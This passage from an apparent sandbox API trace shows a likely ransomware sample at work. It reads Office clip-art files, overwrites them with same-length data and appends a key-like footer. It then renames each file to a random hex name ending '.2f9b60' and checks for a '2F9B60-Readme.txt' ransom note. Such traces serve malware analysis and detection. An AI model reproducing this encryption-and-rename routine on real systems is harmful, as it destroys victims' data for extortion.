out: CurrentTime=0x3963faa0*=132462177212194000) returned 0x0 [0115.756] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x3e3f2a46 [0115.756] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x48156460 [0115.756] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x52eb7db5 [0115.756] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x410629c6 [0115.756] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x3b130e32 [0115.756] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x4d18f1fd [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x6fb092a3 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x17be93a [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x935b45e [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x7f054a36 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x47db1ae6 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x1668cc99 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x38c8f956 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x4ef645f8 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x5e5b9563 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x1a2f6078 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x4d608690 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x6d9ce4e0 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x23477d05 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x538b141d [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x6f4f979b [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x34da5668 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x5b799b62 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x4b6797dc [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x71ac40a7 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x5ce741eb [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x198714bf [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x60235ec4 [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x4b3010e [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x52f5e99c [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0x684ae04f [0115.757] RtlRandomEx (in: Seed=0x3963fa90 | out: Seed=0x3963fa90) returned 0xdcdbf68 [0115.766] ReadFile (in: hFile=0x149c, lpBuffer=0x201885a0, nNumberOfBytesToRead=0x1820, lpNumberOfBytesRead=0x3963fa90, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesRead=0x3963fa90*=0x1820, lpOverlapped=0x0) returned 1 [0115.887] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.888] WriteFile (in: hFile=0x149c, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x3963fa94, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x3963fa94*=0x1820, lpOverlapped=0x0) returned 1 [0115.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0115.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0115.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0115.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0115.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0115.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0115.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263bc0 [0115.939] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.939] WriteFile (in: hFile=0x149c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3963fbb0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3963fbb0*=0x10a, lpOverlapped=0x0) returned 1 [0115.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0115.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0115.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99a0 [0115.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a99a0) returned 1 [0115.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99a0 [0115.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9760 [0115.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9760) returned 1 [0115.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0115.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0115.965] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="c6") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="ca") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="73") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="be") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="ae") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="9f") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="ef") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="3c") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="6a") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="69") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="76") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="61") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="84") returned 2 [0115.965] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="ca") returned 2 [0115.966] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="0e") returned 2 [0115.966] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="dc") returned 2 [0115.966] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="e1") returned 2 [0115.966] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="c9") returned 2 [0115.966] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="3d") returned 2 [0115.966] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="e8") returned 2 [0115.966] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="dc") returned 2 [0115.966] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="80") returned 2 [0115.966] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="16") returned 2 [0115.966] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="68") returned 2 [0115.966] RtlInitAnsiString (in: DestinationString=0x3963fc28, SourceString="c6ca73beae9fef3c6a69766184ca0edce1c93de8dc801668" | out: DestinationString="c6ca73beae9fef3c6a69766184ca0edce1c93de8dc801668") [0115.966] RtlAnsiStringToUnicodeString (in: DestinationString=0x3963fbf8, SourceString="c6ca73beae9fef3c6a69766184ca0edce1c93de8dc801668", AllocateDestinationString=1 | out: DestinationString="c6ca73beae9fef3c6a69766184ca0edce1c93de8dc801668") returned 0x0 [0115.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9390 [0115.966] wcscat (in: _Dest=0x1b7ad7a0, _Source="c6ca73beae9f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c6ca73beae9f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c6ca73beae9f" [0115.966] wcscat (in: _Dest=0x1b7ad7a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c6ca73beae9f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c6ca73beae9f.2f9b60" [0115.966] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c6ca73beae9f.2f9b60", NtPathName=0x3963fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c6ca73beae9f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bcc0 [0115.967] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3963fc70, FileInformation=0x2050bcc0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bcc0) returned 1 [0115.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0115.997] NtQueryInformationFile (in: FileHandle=0x149c, IoStatusBlock=0x3963fc38, FileInformation=0x3963fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3963fc38, FileInformation=0x3963fc48) returned 0x0 [0115.997] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3963fc38, FileInformation=0x3963fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0116.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0116.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9390) returned 1 [0116.003] FlushFileBuffers (hFile=0x149c) returned 1 [0116.017] CloseHandle (hObject=0x149c) returned 1 [0116.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b160 [0116.033] wcscpy (in: _Dest=0x1b86b160, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0116.033] wcscat (in: _Dest=0x1b86b160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0116.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0116.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b160) returned 1 [0116.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b1f0) returned 1 Thread: id = 1251 os_tid = 0xcc0 [0115.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf")) returned 0x20 [0115.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF", dwFileAttributes=0x20) returned 1 [0115.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d8 [0115.702] GetFileSizeEx (in: hFile=0x14d8, lpFileSize=0x39aefba0 | out: lpFileSize=0x39aefba0*=2596) returned 1 [0115.702] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0xa20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.702] ReadFile (in: hFile=0x14d8, lpBuffer=0x39aefb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39aefb68, lpOverlapped=0x0 | out: lpBuffer=0x39aefb20*, lpNumberOfBytesRead=0x39aefb68*=0x4, lpOverlapped=0x0) returned 1 [0115.819] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9730 [0115.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9610 [0115.819] NtQuerySystemTime (in: CurrentTime=0x39aefa60 | out: CurrentTime=0x39aefa60*=132462177212818000) returned 0x0 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x5db2e42c [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x1512c6a [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x80f02b7 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x7dedcae0 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x70d64a3 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x34808a52 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x739c4694 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x20180b27 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x5abb8853 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x39af51ba [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x31a3fc19 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x2371d4b8 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x48d034f8 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x7c020cb6 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x5f23ab1 [0115.819] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x6edba91f [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x4f3e650c [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x3a91b091 [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x37b9a4f [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x5af53fee [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x32b75241 [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0xba9f5eb [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x64556021 [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x16a256f3 [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x2f0ac192 [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x308ab8f8 [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x6ac12b7d [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x5e570500 [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x8bb32b9 [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x4965e68d [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x112e6723 [0115.820] RtlRandomEx (in: Seed=0x39aefa50 | out: Seed=0x39aefa50) returned 0x2ab592c0 [0115.826] ReadFile (in: hFile=0x14d8, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x39aefa50, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x39aefa50*=0xa24, lpOverlapped=0x0) returned 1 [0115.827] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.827] WriteFile (in: hFile=0x14d8, lpBuffer=0x2017d170*, nNumberOfBytesToWrite=0xa24, lpNumberOfBytesWritten=0x39aefa54, lpOverlapped=0x0 | out: lpBuffer=0x2017d170*, lpNumberOfBytesWritten=0x39aefa54*=0xa24, lpOverlapped=0x0) returned 1 [0116.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0116.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0116.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262030) returned 1 [0116.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2017d170) returned 1 [0116.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0116.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0116.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0116.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262030 [0116.060] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.060] WriteFile (in: hFile=0x14d8, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x39aefb70, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x39aefb70*=0x10a, lpOverlapped=0x0) returned 1 [0116.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0116.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0116.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0116.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626f0) returned 1 [0116.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0116.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0116.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0116.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0116.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.072] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="c5") returned 2 [0116.072] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="4c") returned 2 [0116.072] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="8c") returned 2 [0116.072] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="00") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="28") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="d0") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="40") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="ad") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="83") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="51") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="cc") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="0e") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="4d") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="a7") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="d0") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="45") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="ad") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="89") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="7c") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="e4") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="6e") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="c4") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="51") returned 2 [0116.073] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="fd") returned 2 [0116.073] RtlInitAnsiString (in: DestinationString=0x39aefbe8, SourceString="c54c8c0028d040ad8351cc0e4da7d045ad897ce46ec451fd" | out: DestinationString="c54c8c0028d040ad8351cc0e4da7d045ad897ce46ec451fd") [0116.074] RtlAnsiStringToUnicodeString (in: DestinationString=0x39aefbb8, SourceString="c54c8c0028d040ad8351cc0e4da7d045ad897ce46ec451fd", AllocateDestinationString=1 | out: DestinationString="c54c8c0028d040ad8351cc0e4da7d045ad897ce46ec451fd") returned 0x0 [0116.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9160 [0116.074] wcscat (in: _Dest=0x1b7ad7a0, _Source="c54c8c0028d0" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c54c8c0028d0") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c54c8c0028d0" [0116.074] wcscat (in: _Dest=0x1b7ad7a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c54c8c0028d0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c54c8c0028d0.2f9b60" [0116.074] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c54c8c0028d0.2f9b60", NtPathName=0x39aefb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c54c8c0028d0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bc10 [0116.074] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x39aefc30, FileInformation=0x2050bc10, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0116.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bc10) returned 1 [0116.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf470f0) returned 1 [0116.077] NtQueryInformationFile (in: FileHandle=0x14d8, IoStatusBlock=0x39aefbf8, FileInformation=0x39aefc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39aefbf8, FileInformation=0x39aefc08) returned 0x0 [0116.077] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x39aefbf8, FileInformation=0x39aefc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0116.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0116.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9160) returned 1 [0116.078] FlushFileBuffers (hFile=0x14d8) returned 1 [0116.633] CloseHandle (hObject=0x14d8) returned 1 [0116.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b1f0 [0116.636] wcscpy (in: _Dest=0x1b86b1f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0116.636] wcscat (in: _Dest=0x1b86b1f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0116.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0116.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b1f0) returned 1 [0116.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b280) returned 1 Thread: id = 1252 os_tid = 0xd38 [0115.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf")) returned 0x20 [0115.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF", dwFileAttributes=0x20) returned 1 [0115.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, 